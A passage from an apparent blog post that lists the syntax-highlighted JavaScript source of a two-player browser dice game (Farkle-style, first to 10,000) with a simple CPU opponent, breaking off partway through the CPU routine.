enjoy it. NB: The CPU (player 2) has some AI that is programmed to play
defensive.</p>
<h3 id="source-code">Source code:</h3>
<p>The Javascript below is the full source code for the game:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kd">var</span> <span class="nx">state</span> <span class="o">=</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">dice</span><span class="o">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">face</span><span class="o">:</span> <span class="nx">roll</span><span class="p">(),</span> <span class="nx">taken</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">selected</span><span class="o">:</span> <span class="kc">false</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">face</span><span class="o">:</span> <span class="nx">roll</span><span class="p">(),</span> <span class="nx">taken</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">selected</span><span class="o">:</span> <span class="kc">false</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">face</span><span class="o">:</span> <span class="nx">roll</span><span class="p">(),</span> <span class="nx">taken</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">selected</span><span class="o">:</span> <span class="kc">false</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">face</span><span class="o">:</span> <span class="nx">roll</span><span class="p">(),</span> <span class="nx">taken</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">selected</span><span class="o">:</span> <span class="kc">false</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">face</span><span class="o">:</span> <span class="nx">roll</span><span class="p">(),</span> <span class="nx">taken</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">selected</span><span class="o">:</span> <span class="kc">false</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">face</span><span class="o">:</span> <span class="nx">roll</span><span class="p">(),</span> <span class="nx">taken</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span> <span class="nx">selected</span><span class="o">:</span> <span class="kc">false</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="nx">selected</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">roll</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">turn</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">playing</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">won</span><span class="o">:</span> <span class="kc">false</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="nx">player</span><span class="o">:</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">points</span><span class="o">:</span> <span class="mi">0</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span> <span class="nx">points</span><span class="o">:</span> <span class="mi">0</span> <span class="p">},</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl"><span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">draw</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">calculate</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">dice</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span> <span class="o">&amp;&amp;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">dice</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">dice</span><span class="p">.</span><span class="nx">sort</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">d</span> <span class="o">=</span> <span class="nx">dice</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="k">switch</span> <span class="p">(</span><span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">(</span><span class="nx">dice</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">2000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">8000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">4000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">2000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">1000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="nx">d</span> <span class="o">*</span> <span class="mi">800</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="nx">d</span> <span class="o">*</span> <span class="mi">400</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="nx">d</span> <span class="o">*</span> <span class="mi">200</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">,</span> <span class="nx">d</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="nx">d</span> <span class="o">*</span> <span class="mi">100</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">1</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">case</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">stringify</span><span class="p">([</span><span class="mi">5</span><span class="p">])</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">50</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">            <span class="nx">score</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">=</span> <span class="nx">score</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">toggle</span><span class="p">(</span><span class="nx">dice</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">dice</span><span class="p">].</span><span class="nx">selected</span> <span class="o">=</span> <span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">dice</span><span class="p">].</span><span class="nx">selected</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">calculate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">draw</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">roll</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="p">((</span><span class="mi">6</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">take</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">+=</span> <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">selected</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">draw</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">play</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">take</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">+=</span> <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">taken</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span> <span class="o">=</span> <span class="nx">roll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">taken</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">taken</span> <span class="o">==</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span> <span class="o">=</span> <span class="nx">roll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">draw</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">stop</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">take</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">+=</span> <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">player</span><span class="p">[</span><span class="nx">state</span><span class="p">.</span><span class="nx">playing</span><span class="p">].</span><span class="nx">points</span> <span class="o">+=</span> <span class="nx">state</span><span class="p">.</span><span class="nx">turn</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">next</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">next</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">turn</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">roll</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">won</span> <span class="o">&amp;&amp;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">player</span><span class="p">[</span><span class="nx">state</span><span class="p">.</span><span class="nx">playing</span><span class="p">].</span><span class="nx">points</span> <span class="o">&gt;=</span> <span class="mi">10000</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">won</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">alert</span><span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">playing</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">?</span> <span class="s2">&#34;You win!&#34;</span> <span class="o">:</span> <span class="s2">&#34;CPU wins!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">state</span><span class="p">.</span><span class="nx">playing</span> <span class="o">=</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">playing</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">%</span> <span class="nx">state</span><span class="p">.</span><span class="nx">player</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span> <span class="o">=</span> <span class="nx">roll</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span> <span class="o">=</span> <span class="kc">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">calculate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">draw</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">cpu</span><span class="p">,</span> <span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">cpu_select</span><span class="p">(</span><span class="nx">count</span><span class="p">,</span> <span class="nx">face</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">found</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">face</span> <span class="o">||</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span> <span class="o">==</span> <span class="nx">face</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">selected</span> <span class="o">=</span> <span class="kc">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="nx">found</span><span class="o">++</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="nx">found</span> <span class="o">==</span> <span class="nx">count</span><span class="p">)</span> <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">calculate</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">take</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="nx">setTimeout</span><span class="p">(</span><span class="nx">cpu</span><span class="p">,</span> <span class="mi">200</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">cpu</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">playing</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="k">return</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">dice</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nx">i</span> <span class="o">&lt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span> <span class="nx">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">taken</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nx">dice</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">state</span><span class="p">.</span><span class="nx">dice</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">face</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="nx">dice</span><span class="p">.</span><span class="nx">sort</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="kd">var</span> <span class="nx">str</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span><span class="p">;</span>
